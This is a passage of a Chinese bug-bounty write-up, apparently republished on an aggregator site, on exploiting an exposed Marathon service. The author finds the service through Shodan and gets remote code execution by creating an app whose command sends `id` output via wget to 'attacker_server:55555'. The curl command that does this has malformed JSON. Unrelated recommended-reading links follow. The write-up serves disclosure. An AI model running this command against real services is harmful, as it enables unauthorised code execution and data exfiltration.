挖洞经验 | 通过Shodan发现目标应用Marathon服务的RCE漏洞( 五 )_*本文中涉及到的相关漏洞已报送厂商并

curl -sk -X POST -H \"Content-type: application/json\"https://XXX.XXX.XXX.XXX/v2/apps-d '{ \"mem\": 16 \"id\": \"rce-id\" \"cmd\": \"/usr/bin/wget --user-agent=marathon-id --post-data=https://mparticle.uc.cn/api/`id` attacker_server:55555/"'

3、再打开https://XXX.XXX.XXX.XXX/ui/#/apps 的Marathon服务管理界面，可以看到其中已经包含了一个名为“rce-id”的实例，这就是我们刚刚用curl命令创建的。在我的自架服务器中，稍等一会，就能看到XXX.XXX.XXX.XXX响应回来的cmd命令输出结果：

PS：测试过后，为了不对目标应用系统造成安全影响，我及时从Marathon界面中删除了创建的“rce-id”实例。整个过程中，就用到了netcat、curl命令和浏览器，另外，当然主要还是Shodan很给力了。

以上全部数据来源互联网，如有侵权，请及时与我们联系，我们将进行删除，谢谢

挖洞经验 | 通过Shodan发现目标应用Marathon服务的RCE漏洞( 五 )

推荐阅读

如何找寻自我

缝纫机调线器怎么安装平车方法如何

强组词强字组词

火笋鸡翅的做法（增肥食谱）

闺女生日快乐祝福语朋友圈

LV请来潮牌设计师做艺术总监，看中的是啥

老虎豆怎么做好吃老虎豆图片怎样弄来吃

暖气有流水声是什么原因

皮球是什么体

手机怎样开通QQ空间

男生发mua说明 mua是什么意思

手指盖凹陷怎么回事

对自己的生活失去掌控咋调整

小米10s怎么没有月亮模式

我想找个偏僻的地方搞养殖！有没有推荐的地方？

南京养老金认证上门服务怎么申请南京市养老金认证

如何评价猪场阉割猪？

最后一个字是豹的成语

泰山散酒怎么样

猫发情的声音(猫发情的叫声)